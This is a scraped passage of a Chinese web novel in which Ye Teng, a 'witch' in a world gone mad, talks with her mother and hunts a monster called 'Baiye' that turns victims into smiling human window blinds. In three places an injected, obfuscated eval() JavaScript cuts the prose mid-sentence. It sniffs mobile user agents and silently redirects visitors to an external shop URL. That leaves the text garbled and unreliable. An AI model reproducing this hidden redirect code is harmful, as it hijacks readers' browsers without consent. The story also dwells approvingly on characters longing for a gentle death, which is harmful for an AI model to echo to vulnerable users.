【巫祝】既有巫蛊的能力,也有祝福的能力,所以才叫【巫祝】吧,那叶藤应该可以请求神明祝福这个世界让诅咒解除才对。 说起来好像是这样,叶藤看了一眼自己的技能栏。 【巫祝赐福】静静地躺在那里,这是她唯一的具有攻击性的技能,就是那个一碗符水把人药死的技能。 她觉得她可能不是大家需要的那种巫祝,大家需要的那种可以请求神明祝福这个世界让诅咒解除的巫祝可能应该叫牧师,她打游戏的时候就经常让牧师解除诅咒。 队里没有牧师。 据说那是西方地区才会有的,东方没有,甚至东方就连【女巫】其实都也是东方女巫,是很古老的那种东方女巫。 至于【魔法师】,那更是一个意外。 【女巫】陷入了沉思。 她思考了很久以后,觉得,应该不需要靠别人,她自己就可以解除诅咒。 49. 第 49 章 她是东方女巫,或者说,也许她不应该认为自己是【女巫】,她应该认为自己是【巫】。 她不是那个西方传说中的女巫,她是一步步考据,一步步记录,一步步整理资料,最后成为……哦不,其实她也不知道怎么回事,就有了个【女巫】,现在是【巫】的标签。 既然已经是【巫】了,不再是那个西方传说中的【女巫】,那么当然是可以用【巫】的方式解除诅咒的。 不过,说起来,难怪她一直不会调配魔药。 又搜集了一番材料,要不是大家都闲得没事干零个人愿意给她跑前跑后搜集这么多材料,【巫】得到了自己想要的结果。 可以解除之前的诅咒,进行下一个诅咒了。 进行下一个诅咒又需要很多很多材料。 不过没关系,大家都有经验了,已经提前把材料准备好了。 新的材料都很新鲜,很昂贵,送上来的时候商家都很恭敬。 毕竟这可是在这个全球经济下行的时代里难得的大单子。 【巫】利落地进行了新的诅咒。 新的诅咒针对的是虐杀小动物的人。 这次不断更换施暴者的情况终于到头了,毕竟不是每个人眼里都有小动物,很多施暴者虽然会对人类施暴,但是对于路边的小动物看都懒得看一眼,毕竟对人类施暴也许还能有一点将来走上社会可能会用到的莫名其妙的东西能积累,对小动物动手实在毫无意义。 说是毫无意义,但是喜欢对小动物动手的人也还是不少,在这个世界就有很多,还有因为这个诅咒上新闻的大人物。 解决掉他们以后,所有人就自然而然地去到了下一个世界。 这次来到了末世。 是的,大家能去的地方不只是现在和过去,还有未来。 当然,大家拥有的能力通常也都在未来同样有效,还有在过去和现在没效果的能力,到了末世也有效起来了。 这次不需要【巫】出手了,有【大丧失】动手了。 哦不,是【大丧尸】。 【大丧尸】直接用精神控制住了底下的小丧尸们,寻找所有的小猫小狗小兔几。 本来末世小动物就不多,多的那是变异大动物,找起来还是很轻松的,【大丧尸】轻轻松松找到了这个世界上的所有小动物,并在暗处安排了大量的丧尸和变异守卫。 第一天,【大丧尸】解决掉了一个“春羽”。 第二天,【大丧尸】解决掉了九个。 在快递还不能把原材料送到【巫】手上的时间里,【大丧尸】带着大家回到了现代。 叶藤又可以随便吃吃喝喝蹦蹦跳跳了。 快乐的一天从吃吃喝喝开始,摸鱼暂停。 摸鱼工作因为她摸了太久鱼她已经被开掉了,就算是队员的公司,她太久不去上班,队员也没办法。 队员说给她一个月时间,她会搞定一切让叶藤龙王归位。 叶藤想了想,觉得反正她身上钱也不少,干脆躺平一年好了。 正好最近那种假装上班的工作室还挺火的,那她也可以参与一下嘛。 叶藤试着去逛了一下那种说是专门卖给数字游民的空间。 事实证明,无论是亲戚说专门拿给谁吃的东西,还是商家说专门做给谁用的产品,往往都是敷衍的。 最后叶藤还是自己一个人坐在了家里的沙发上。 家里给她打来了电话。 她的妈妈问她现在在做什么工作。 是这样的,叶藤的妈妈,她并不知道世界已经变得疯狂起来了。 叶藤老实交代了她之前的工作。 妈妈很欣慰,很满意,又问她跟同事相处得怎么样。 叶藤稍微美化了一下她和同事们之间的关系:“还不错,前几天苏宇又给我分零食了。” 苏宇不是她的同事,但是偶尔可以是。 妈妈听了很高兴,说是想去她公司感谢她同事帮忙照顾她。 她赶紧拒绝:“不要这样,我同事她其实是一个很内向的人,这样会让她很尴尬,妈你最近枪法那些练得怎么样?” “我练枪啊,还可以啊。” 叶藤听出了她妈妈在骗人。 因为她自己骗人也是这个语气。 叶藤妈妈讲起了东46区的情况:“好多人都在练枪,我觉得我不用练了吧,那么多人都练了,到时候需要用枪也不差我一个人。” “自己的枪要自己练呀,妈妈!” 叶藤妈妈开始支支吾吾。 叶藤开始头疼。 她的妈妈总是这样,某种意义上讲,她觉得她妈妈应该可以算是那种相当厉害的人物,她小时候是家里最受溺爱的小孩,婚后家务和工作都不做,她爸爸又是加班又是做家务,早早就过劳死了,现在全世界陷入了疯狂,她的妈妈至今还不会用枪。 其实她感觉,也许她的妈妈本来也不需要练枪,如果妈妈能和怪物见一面,能有身份,身份应该会比大多数人的身份更有用,更厉害。 是的,疯狂世界对身份的定位显然与世俗的成功不同,在世俗的定义中,妈妈小时候在家里是被溺爱的,不够好的,不够懂事的,甚至有点熊的坏孩子,在婚后是不体贴丈夫,没有上进心不愿意独立的失败的成年人,而在疯狂世界,在这种危机面前,她的妈妈毫无危机感,如果她不是叶藤的妈妈,任何人表现得像她的妈妈一样,都只会吃一路白眼,没有小队愿意接收。 但是这都是世俗的,别人的看法。 疯狂的世界从来不这样定义人。 就像疯狂的世界会把她这样一个不懂得任何巫术和相关的道理的人定义为【巫祝】一样,她的妈妈如果得到定义,大概率会比较像刘全那样非常有作用。 疯狂的世界似乎更肯定人们自保的,或者趋利避害的生物本能,也对,保持自己的生物本能,不去扭曲它的人,总是更容易免于精神疾病的侵害。 如果用疯狂世界的道德观念去衡量妈妈,妈妈小时候为自己争取到了家庭环境中最多的资源,婚后为自己争取到了很多遗产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459139|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,世界陷入疯狂以后也有人自愿给她打钱,她可以安坐后方天天玩天天混日子,也可以找人继续结婚生孩子,不过她看起来好像没有这样的念头。 叶藤突然有点好奇自己的妈妈现在在做什么。 她对老一辈亲戚们的印象就是时不时就在催她结婚生孩子,所以有时候,她会觉得她妈妈应该也很喜欢结婚生孩子。 实际上,往往只有男的喜欢结婚生孩子吧,女人结婚生孩子的痛苦是肉眼可见的,在叶藤爸爸去世前,他为了催她结婚,一年带她参加了二十场婚宴,宴会上动不动就有人哭,不是新娘的闺蜜,就是新娘的父母,叶藤越看越不想结婚。 那她的妈妈当年结婚的时候有人哭吗?她问过爸爸这个问题,她爸爸愣了一下,说没有。 为什么呢?叶藤很好奇。 她爸爸反问她为什么她的妈妈嫁给他要哭呢? 好吧,看来从爸爸那里是得不到答案的。 叶藤后来问了妈妈,妈妈说是因为她的外公外婆觉得她的妈妈嫁给爸爸不会吃亏的。 叶藤还是不理解。 她看了二十场婚宴,很多场男方都是她从小一起玩的同辈亲戚,是她的哥哥们,她的哥哥们聪明,有学历,工资也远高于一般水平,性格也好,对女方也很尊重,但是女方的亲戚还是哭了。 网上也说结婚在那里哭很可笑,现在结婚又不是说看不见人了,结婚不就是两口子自己建立小家庭吗,就算是远嫁,现在谁还买不起一张火车票了。 叶藤觉得,应该不是哭的人有问题。 或者说,不是只有哭的人值得研究。 哭的人和不哭的人应该放在一起研究。 父母会哭,是因为突然发现女儿要离开这个家了,举行婚礼那一天,很多家务,很多从前属于女儿的家务,突然属于父母自己了,闺蜜会哭,是因为想到了以后她的闺蜜只会把想要分享的,想要一起去看的都跟另一个人去分享,去看,她永远失去了一个闺蜜。 而男方父母不会哭,是因为男方离开以后,男方父母什么都没有失去,甚至有种很轻松的感觉。 就像她的妈妈的父母不会哭,因为她的妈妈只是拥有了一个普通的男孩会有的待遇。 还有一个普通的丈夫会有的待遇。 以及。 叶藤正在带给她的妈妈,一个普通的父亲能够有的待遇。 她的妈妈还是比普通的父亲优秀太过了,毕竟叶藤小时候是母乳喂养的,虽然她并不觉得母乳喂养有增加到她的抵抗力,她小时候还是经常生病。 长大以后,她妈妈偶尔也会因为对网红食谱感兴趣,动手做做菜,吃不完的话会分她一点。 所以叶藤也是吃过妈妈做的菜的孩子,这又是她妈妈比普通父亲更强的一点了。 这么说起来,她妈妈还给她买过衣服,买过袜子,买过…… 真是母爱如山。 叶藤又给妈妈打了笔钱。 最近妈妈爱上了打游戏,那就多给妈妈一点钱氪金好了。 50. 第 50 章 叶藤妈妈说她没有在打游戏。 是这样的,其实叶藤妈妈最近养了条狗。 这就是她面对叶藤的交代总是支支吾吾说不出话的原因。 射击场是禁止宠物入内的,所以她只能在遛狗以外的时间去练枪。 但是她养的是比格犬,她需要很多遛狗时间,还有很多陪狗玩的时间。 叶藤给她打电话的时候,她一直在握着比格犬的嘴筒子让它不要叫。 但是,现在比格犬越长越大了,她有点握不住它的嘴筒子了。 于是在叶藤问妈妈有没有收到钱的时候,妈妈那边传来了“wer”的一声。 叶藤顿住了。 叶藤强烈要求看视频。 叶藤妈妈给她看了视频。 视频里是一只眼神骄傲昂着嘴筒子的比格犬,和看起来很糟糕的房间。 叶藤看着视频里的景象,很长时间没有说出任何话。 叶藤的妈妈抹了抹脸上并不存在的泪水:“我太想你了,大白在这里陪我,缓解了我很多痛苦。” 叶藤:“我怎么会像一只比格犬?” 而且这个比格犬也不白啊,为什么要叫大白? 叶藤的妈妈开始叹气:“小叶啊,在你面前,我是一个差劲的妈妈,在邻居面前,我是一个不会枪法的差劲的人,只有大白,大白它需要我,它非常需要我叶谦啊。” 叶藤大概能理解一只比格有多么需要人。 大白似乎终于注意到了手机屏幕上的图像是人形,它凑了过来,亮亮的眼睛盯着叶藤。 叶藤突然感觉大白长得还挺可爱的。 大白的黑鼻头戳上来了。 大白把视频通话挂掉了。 叶藤又沉默了。 她沉默了许久,收到了新的工作信息。 这次的怪物叫做“百叶”。 会让人联想到百叶窗,实际上也确实和百叶窗有点联系。 就是说被攻击的人都会变成百叶窗的那种意思。 叶藤有点发怵。 她点开刘全的窗口,果不其然,不只是屏蔽,刘全已经彻底拉黑她了。 叶藤想了想,决定踏上一条道路。 人呢,在一生中,往往会踏上很多条道路。 叶藤现在要踏上的道路就是要去买防具的道路。 【巫】最近不是升级了吗,那她只要出够材料,就可以买到很厉害的防具吧。 虽然防具的样子可能只是一个buff,但是谁能说这个buff不是一个上好的防具呢? 叶藤看着自己账户上的余额,自信满满地联系了【巫】孔真。 孔真没有屏蔽她,这是当然的,前不久孔真还在联系她。 孔真了解到了她的诉求,表示乐意帮忙,但是要排队。 叶藤很迷惑:“排队?” “今天有很多人都想要buff,你排在第一百三十五个,做完你的我就打算去休息了,太多buff的话我这边不好保证维持效果。” 叶藤理解了,开始按照孔真给的清单准备材料。 孔真要求的材料在现代都还挺好拿的。 基本上网店都有,由于叶藤是排在第一百三十五位,所以可以网购慢慢等快递。 排队期间,她还可以刷一刷APP,打一打麻将,甚至可以去逗一逗狗。 她不能去东46区逗狗,但是她可以操控在东46区的小机器人去逗狗。 叶谦会在摸狗头的时候顺便也摸一下小机器人的头。 叶藤觉得这么做并没有什么意义,她并不会感受到温暖,只会被挡住视线两眼一黑。 但是叶谦觉得有意义,那就有意义。 叶藤一边看狗,一边看百叶窗。 是那种特别有人味的百叶窗。 百叶窗形状的尸体她这几天已经见怪不怪了,说起来看过那么多奇奇怪怪的怪物以后,她感觉她看到任何尸体都不会觉得奇怪,看到百叶窗人体也只会觉得蛮好笑的。 当然,她不会随随便便把自己的想法说出去,无论是跟不知情的现代人还是跟知情的队员。 现代人知道她是这种人肯定会排挤她,至于队员,她也不想再消耗大家本就所剩不多的信任了,也许不该用所剩不多,要一开始很多才能所剩不多,她这里一开始跟大家的信任就不多。 叶藤看了一会儿“百叶”的作案手法。 “百叶”最开始是被当地执法者发现的,当时当地的…… 叶藤突然想起她还不知道该怎么形容这群人。 有身份的人?怪物也有身份,有技能的人?普通人虽然没有标签技能,但是也各有各的技能。 那异能者?听起来好像小说啊…… 一直以来,大家连一个统称都没有啊。 毕竟没有人在这件事情上有很明确的命名权,她也算是一个很大的队长了,把守的关卡也蛮重要的,还这么多人拉黑她,还有超多人屏蔽她,她说话都不算数,还有谁说话能算数? 啊对,还有王远,但是王远一般不说话。 也好吧,没有统称,没有和普通人区分开的称谓,感觉就像从前一样,就好像世界并没有陷入疯狂一样。 不过在这种时候,她在做笔记进行记录分析的时候,就比较麻烦。 干脆写成鸡蛋饼好了。 嗯,“百叶”最开始是被当地执法者发现的,当时当地的鸡蛋饼完全不知道这里出现了怪物,执法者封锁消息封锁了很长时间,直到实在压不住了,才终于让社会大众在网络上谈论起了这件事。 鸡蛋饼也是在这时候才了解到了相关的信息,由于第一手资料还是在执法者手里,执法者也不打算发布出来让大家看到,所以当地鸡蛋饼掌握的消息十分稀少。 为了得到更多消息,有鸡蛋饼尝试潜入…… 不行,不能再这样下去了。 这么严肃的事情,用鸡蛋饼真的不是很合适。 不过这样做有一个好处,她暂时不打算从做纸质笔记转移到电子笔记,纸质笔记有一个很大的坏处就是容易被别人捡到看到,按照她现在的写法,如果将来有人捡到了她的笔记,没有人会觉得天塌了原来世界早已陷入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459140|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂之中而大多数人仍在浑浑噩噩度日,就连政务中心和执法者也全然不知,这是多么恐怖多么容易引起恐慌的事情,说不定会有很多人自杀,然而小小一个“鸡蛋饼”让这一切变成了不可能的事情,捡到笔记的人只会坚信自己看到了一个精神病患者的笔记,很难会认为疯的不是她而是这个世界了。 鸡蛋饼如此伟大,所以还是继续沿用吧。 但是这样写看起来真的很癫啊,疯癫过头了,叶藤感觉再这样癫下去说不定她要变成怪物“鸡蛋饼”了。 好吧,改个名字,叫牛油果吧。 牛油果的加入让这篇笔记的识别难度更是提升了许多。 叶藤整理完笔记,确定就算把直接把这本笔记摊开放在大街上也不会泄露掉任何秘密,放心地把它塞进了书柜里。 对哦,她现在有个大书柜。 书柜上暂时还一本书都没有。 本来她是希望能有书的,但是每次买了书她都很快看完了,看完以后她凑吧凑吧和另外几本已经看完的书一起就拿到二手平台上去卖了,所以基本上她家里是没有书的,只能偶尔有几本。 她看书留下的痕迹只有她的笔记,和她的订单。 叶藤的订单有很多。 因为她基本上很少在线下买东西了,以前她就很不喜欢逛街,因为家里有很多事情要做,学习上也有很多事情,所以她休息的时候一般都是躺着,或者发呆,很少有那种精力满满活力无限去做一些事情来休息的情况。 虽然她不用做家务,以前有爸爸做,后来爸爸过世以后有保姆做,学习上家里也没怎么管她,但是她总觉得,不学习的话,晚上躺在床上就很容易不开心。 她总觉得她一天应该学习很久,应该把很多时间花费在值得的事情上,而不是去玩去闹,如果当天真的把时间都花在值得的事情上了,她就能安然入睡,甚至可以在睡前安心玩一两个小时,如果当天没有老老实实把时间花在该花的地方,她就会感觉人生无望,未来全是失败,什么好事都不会轮得到她,什么朋友,亲人,家人……全部都会离她远去,因为她是个失败者,彻头彻尾的失败者,没有人能接受一个失败者,失败者就会挨打,挨打就是烦她不喜欢她的意思。 好吧叶藤小时候经常因为失败挨打,如果考不到满分,她的爸爸就会打她。 也不是考不到满分吧,也许她又犯了同一种错误,把别人的苦难当成了自己的苦难,仅仅因为网络上铺天盖地都是别人的苦难,她又不敢不上网。 她的苦难其实是,只要练习册做错了一道题就会被打。 不过她基本上都能拿全对,也基本上都是满分。 不过她小时候大家都在挨打,她爸爸算是打得轻的,在当时可以算是模范爸爸了,甚至她爸爸完全不打她反而会被亲戚被社会说是完全不管孩子。 她妈妈就经常被亲戚批评完全不管孩子,而且还会阻拦她爸爸打她,也就是阻拦她爸爸管教孩子,所以每次和亲戚一起吃席,很多亲戚都会说她妈妈惯着她。 所以叶藤不喜欢吃席,也不喜欢把事情做到全对。 51. 第 51 章 不喜欢吃席,不喜欢把事情做到全对的小孩,总是很不讨亲戚喜欢。 但是她妈妈无所谓她的亲戚,所以她可以不吃席,她的亲戚也不知道她有没有把遇到的事情做到全对。 她也可以讨厌亲戚。 她现在可以作为一个成功人士脚踩亲戚拳打……哦不,很多人都已经过世了。 并不是因为疯狂世界的到来,只是寿命到了,疾病突发了,各种各样的原因,不过叶藤觉得这和他们一天天只知道评价这个评价那个不做自己的正事,连养生都不知道,和这一点有很大关系。 很多人说好人不长命祸害遗千年,其实她感觉那是因为古人死得早,在现代她感觉好人挺长命的,祸害也挺短命的,不过她也不知道她自己算好人还是算祸害。 有时候她会觉得自己算祸害,小时候她总是让爸爸在席上抬不起头,因为她是女孩,她还随母姓,不过当时她以为祸害是很厉害的意思,所以有人这么说她的时候她总是洋洋得意。 后来她也一直没弄明白这是什么意思,因为等她妈妈听到这种说法以后她就不用去坐席了,一家三口都不用去坐席了,周末就去公园去野外露营,过节就去旅游,比坐席舒服多了。 而且到学校以后,别的同学听到她周末都去露营,放假都去旅游,大家都很羡慕她,她更加洋洋得意了。 长大以后,如果突然听到别人说她是好人,叶藤总会下意识回想,自己是不是做了什么傻事。 不应该这样的,她应该是一进场就让一些宵小之辈受到震慑,然后她就健步如风地去到会计办公室,两只手往腰上一叉,立马就有人递上账本,开好空调,端茶倒水,等她刁难他们。 好吧,现在她只是一个跟在大审计身边端茶倒水的【审计小白】,但是她相信她早晚有一天会成为……哦不,她的职业规划早已离她远去。 所以,也许,因为她是个祸害,所以才,嗯,只要白天没有做够该做的事就会心虚,因为好人只需要保持善良的品行就可以不心虚了,祸害没有善良的品行也不理解善良的品行,只能靠多做事保证自己今天又打击了好人,好人很难比自己更努力,来保持安心,好好睡觉。 那她妈妈也被很多人说是祸害,为什么她妈妈就从来不心虚。 果然她的妈妈还是有很多值得她学习的地方,她得慢慢学,至少,她有一种预感,她现在的生活方式可能没那么值得学习,因为她爸爸也很倾向于这种生活方式,结局她很清楚。 当然,正是她的爸爸通过祖传的教育模式让她也拥有了这种生活方式。 不过她应该还是能活得比她爸爸久的,就算在世界变得疯狂以前,因为她不需要管教孩子,不需要检查孩子的作业,不需要一大早把孩子叫起来吃早饭。 就有她有孩子也不会这么干,尤其是在她现在这么有钱的情况下,她肯定选择放任孩子的天性,放任孩子的作业,放任……好吧,早饭可以给孩子端到床边。 不过她现在这样的状态大概还是没有孩子比较好。 叶藤继续思考“百叶”是怎么回事。 虽然那些怪物从来没解决掉过她,但是,万一下次怪物把她解决了,那她不希望会是这么个惨死的样子。 做成百叶窗的话,人人都知道死在那里的是她,还不如被“春羽”弄成看不出是谁的捏捏,她可是有仇家的,她这种有仇家的人的死法最好要有点面子才行。 叶藤开始思考自己的死法。 自杀肯定是不行的。 物理上就不行,她现在靠自己是死不了的,这是一个疯狂的规定。 有时候叶藤会觉得,有些怪物明明很简单,还是有很多人死于非命,很可能就是因为,有的人早就想死了,但是死不掉,一个简单的,下手没那么狠,死起来不痛苦的怪物就成了大家难得的机会。 那就希望有个怪物杀人的方法是催眠吧,然后她在梦中去世。 可惜现在她要面对的怪物会把人做成百叶窗,不过,等等…… 百叶窗死者死得还挺柔和的。 是那种,带着笑容变成百叶窗的柔和。 叶藤仔细检查了一遍目前所有的相关的图片,确定每一个百叶窗死者看起来都是含笑的。 看起来这次的“百叶”有很多奇怪的癖好,记喜欢把人做成百叶窗,又喜欢看人笑。 还有一些案发现场的图片也附带在旁边。 和很多人之前以为的情况不一样,这些人并不是死在荒僻的地方,很多死者都是在闹市里被发现的,这也是警方越来越难压住这件事的原因,如果都是在郊区,在地下室,在一些一般人不会去的地方,当地警方很多时候会选择多一事不如少一事,或者直接开枪击毙房主,那样的话“百叶”也就早早变为都市怪谈而不是暂时还不知道它长什么样的连环杀手了。 走在街上的时候突然发现一个人变成百叶窗就蛮惊悚的,尤其是这个人可能上一秒还在笑着和自己打招呼的时候。 没人能看出“百叶”是怎么作案的,所以队员们自觉地把这件事纳入了自己的责任范围,单方面认为“百叶”这样的怪物应该由自己来处理。 于是一个队员走了出来。 此时或许可以名为牛油果大战“百叶”,如果是牛百叶那很好吃了,很多牛油果蘸料都挺不错的。 叶藤端正了态度。 牛油果来到了“百叶”经常作案的那条街上。 那时候还有很多人并不知道发生了这样的事情,那条异常繁华的街道上仍然繁华得不得了,路上挤满了行人。 所以叶藤是要经常看社交平台的,她的大数据也不一样,经常给她推送什么地方有问题,哪里要出大事情这样的信息,不过推送一百个通常九十九个都是假的。 牛油果混入了人群当中,因为“百叶”一向很喜欢在闹市作案,所以这个牛油果认为,“百叶”可能就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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文件太多找不到想找的“百叶”的文件位置,又一名队员轻松地找到了。 几人悄悄拷贝一番,撤离执法者局,把数据上传到了APP里。 叶藤能看到执法者局里存留的信息了。 “百叶”的外形,执法者局还不能确定。 当时在案发现场,警方是有确定几个嫌疑人,不过那是第一次案发的时候,到了第二次案发,第三次看到人变成百叶窗,警方就很确定那几个嫌疑人都没有嫌疑了。 后面发生的案件里,嫌疑人没有一个重复的。 警方因为这件事开了很多会,想了很多方法,但是没有用,内部还有人偷偷把这个案件的很多信息泄露了出去。 当事人被处罚的时候毫无悔改之心,只说是不想让大家懵懵懂懂地受害,希望大家除了依赖警方以外也可以自己想想办法保护自己,毕竟警方没能在这次事件中保护任何人。 上级对当事人进行了严肃的批评,上级表示告诉普通人能带来的并不会是办法,只会是恐慌,只会是灾难还没有降临之前所有人就已经自乱阵脚不堪一击。 这件事也被记录了下来,看来这个案件是真的没什么信息可以写了。 叶藤沉思片刻,感觉大家可能是白跑了一趟执法者局。 虽然执法者局里没有牛油果,但是执法者局里有内应啊,有用的消息差不多都已经在网络上被传遍了。 52. 第 52 章 当一个人第一次成为牛油果的时候,这个人会是什么感受? 兴奋?害怕?惊恐不安?乐极生悲? 总之成为牛油果不是一件好事,不过有的人性格比较奇怪,会觉得做好一个牛油果是一件很厉害的事情,比在和平年代做好一份工作厉害很多。 叶藤觉得还是【审计小白】比较难作,队长挺好做的,没有人在意她的水平,工资还一直很可靠。 而且也不会像一些大审计那样,她如果成为了大审计肯定会有一些大审计的身份上的包袱,她不要自己开空调,也不要自己去端茶倒水,但是做队长就可以,就可以自己去开空调,自己去端茶倒水,还没人听她讲话,队长是自由的。 那种没人管纯野生的自由。 其实如果她不去做这个“百叶”的任务,情况也不会变得就怎么样。 因为“百叶”没有往东46区移动,它在往东44区移动。 所以它对队里大家的亲友们都没什么威胁,还会自己跑走,减少对东45区的威胁。 一个令人感到欣慰的怪物,叶藤只能这样形容它。 但是像这样的怪物,大家都很喜欢。 很多人都很喜欢“百叶”处理掉受害者以后,受害者脸上温暖的微笑,很多人想要有这样的死法。 哦不,很多牛油果想要有这样的死法。 牛油果好像有点太减脂了,不,这个牛油纸其实全是脂肪,它是减脂诈骗分子,啊,叶藤醒悟了过来,她居然一直在用一个减脂诈骗分子来形容大家。 所以还是再换一个形容吧,蛋炒饭。 不行,这个和鸡蛋饼太像了,还是再换一个好了,换一个健康的食物。 那就西蓝花吧,说到健康的食物,大家通常都会想到西蓝花。 但是她不喜欢吃西蓝花,她比较喜欢吃花菜,但是也只是比较喜欢,真要说的话她最喜欢的可能是莴笋叶藤藤菜豌豆尖……仅限于它们是小面配菜的时候。 叶藤思来想去,决定叫大家巧克力香草冰淇淋红丝绒蛋糕。 这样称呼别人会很冒犯,所以叶藤更想自己在笔记里悄悄这样称呼别人了。 巧克力香草冰淇淋红丝绒蛋糕心里有一个梦想,哦不,有一个目标,有一件必须要去做到的事情,那就是,完成这个抓捕“百叶”的任务。 “百叶”也可以换个名字,叫“牛油火锅香辣牛百叶”。 这样记笔记更有精神了,叶藤本来想睡觉的,虽然现在是中午只能午休,但是她还是觉得,是巧克力香草冰淇淋红丝绒蛋糕和“牛油火锅香辣牛百叶”让她提神醒脑,得以达成如今的快乐清醒记笔记现状。 巧克力香草冰淇淋红丝绒蛋糕目前没有新消息过来,叶藤去找了【巫】拿buff。 其实她现在有点犹豫到底要不要用这个buff了。 因为目前看来,被“牛油火锅香辣牛百叶”杀掉是个比较愉快的事情,她完全没有反抗的必要,拿个buff实在是有点多余,她还很有可能会在下一次遇到那种很残忍的怪物的时候被残忍的怪物折磨致死,死的时候表情痛苦满脸泪水。 拿到buff的叶藤想着想着甚至有点痛恨买buff的自己了。 这个时候痛恨也没有用了,都说痛恨自己就是内耗,内耗就会没有成果,没有成果就会一事无成,所以人不能痛恨自己,因为痛恨自己就会一事无成变成失败者然后人人都会痛恨她。 叶藤相信自己,相信自己可以逆天改命,改变一切。 即使顶着buff,她相信“牛油火锅香辣牛百叶”也一样可以让她在安详的笑容里离世。 “牛油火锅香辣牛百叶”请务必让她在安详的笑容里离世。 做不到的话她就杀了这个“牛油火锅香辣牛百叶”。 叶藤觉得她首先还是得想办法找到这个“牛油火锅香辣牛百叶”。 根据从前的经验,她现在已经有了一套方法,她知道只要按照她的方法,就可以很轻松找到她想要找到的人。 也没有很轻松,虽然前几次确实都很轻松,好吧还是比较轻松的,叶藤觉得她应该很快就可以找到“牛油火锅香辣牛百叶”了。 首先,还是像那样,思考“牛油火锅香辣牛百叶”是精神疾病。 听起来像嗜辣癖,嗜辣癖好像不算精神疾病,因为她也喜欢吃辣,但是无所谓了先这样推测着吧,完成比完美更重要吗那些无关紧要的小细节可以容后再议,她现在只需要关注“牛油火锅香辣牛百叶”还有什么大病。 嗯,因为辣味其实不是一种味道,不是味觉,而是一种痛感,所以叶藤认为,“牛油火锅香辣牛百叶”可能还有点受虐狂。 但是等等,“牛油火锅香辣牛百叶”这个名字是她自己取的,其实人家是叫“百叶”来着。 所以嗜辣癖,受虐狂,根本不是“百叶”,而是…… 这个小细节不重要,容后再议,容后再议。 叶藤作为一个巧克力香草冰淇淋红丝绒蛋糕,有很多很多容后再议的权力。 就算没有这样的权力,谁面对自己的亲生笔记不是想容后再议就容后再议…… 叶藤开始思考,“百叶”为什么喜欢把人变成百叶窗。 通常来说,百叶窗的位置,好像一般都是安装在厕所。 其它位置没那么需要百叶窗来遮挡,只有厕所总是会需要一个百叶窗。 但是谁家厕所会需要一张人皮百叶窗啊…… 叶藤想不通,想不明白,无论如何都想不明白,世上有谁会需要一张人皮百叶窗…… 可能是杀人狂吧,虽然但是“牛油火锅香辣牛百叶”本来也是杀人狂,这样的话还是没有得到更多有用的信息。 叶藤纠结许久,没能得到新的消息,打算上app看看。 一打开app,她就看到有人在大喊不要再往下刷了。 刷到某条消息的人都被传送跑了。 看样子是有线索了,线索不是她找出来的,啊这样的情况也很常见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459142|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶藤打算往下翻翻去找线索。 去见“春羽”是出于责任感,去见“山矾”是担心死人越来越多,去见“牛油火锅香辣牛百叶”的原因就完全不同了,就是她自己想见“牛油火锅香辣牛百叶”。 叶藤很乐意承认这个现实,而且她觉得所有人都会很乐意承认这个现实。 快到了,快要划到了,快要划到那个丝滑美妙可以让人如同迎接“牛油火锅香辣牛百叶”一般的存在了。 叶藤的心和手都在狂颤。 很多人都在讨论着“牛油火锅香辣牛百叶”的事情,叶藤往下划的时候东一句西一句看到了很多信息。 比如它其实是个善良的人,或者说是个正义的人,只是比较激进。 不愧是正义的人,大家的好死都要靠它实现了,那刘全应该也会迫不及待吧,她不能比刘全慢,太慢的话都别人先死了,排到她可能“牛油火锅香辣牛百叶”已经手酸了,不想捏百叶窗了。 而且她身上还有buff,她还比其它人难捏。 这个时候也不可能再去搞掉她身上的buff了,只能拜托“牛油火锅香辣牛百叶”努力一点,她可以用巧克力香草冰淇淋红丝绒蛋糕和牛油火锅香辣牛百叶作为报答。 叶藤划到“牛油火锅香辣牛百叶”实际信息的所在位置了。 帖主的分析前半截跟她是一样的,认为“牛油火锅香辣牛百叶”本人应该对厕所的百叶窗很感兴趣。 帖主自己家里种了很多绿植,厕所百叶窗那边也放了绿植,很多植物喜阴还需要控温,放在厕所百叶窗旁边就很方便。 但是这个帖子的重点不是绿植。 因为绿植挡在百叶窗旁边,所以帖主一直没发现一件事情。 那就是有人在她厕所后面装了摄像头。 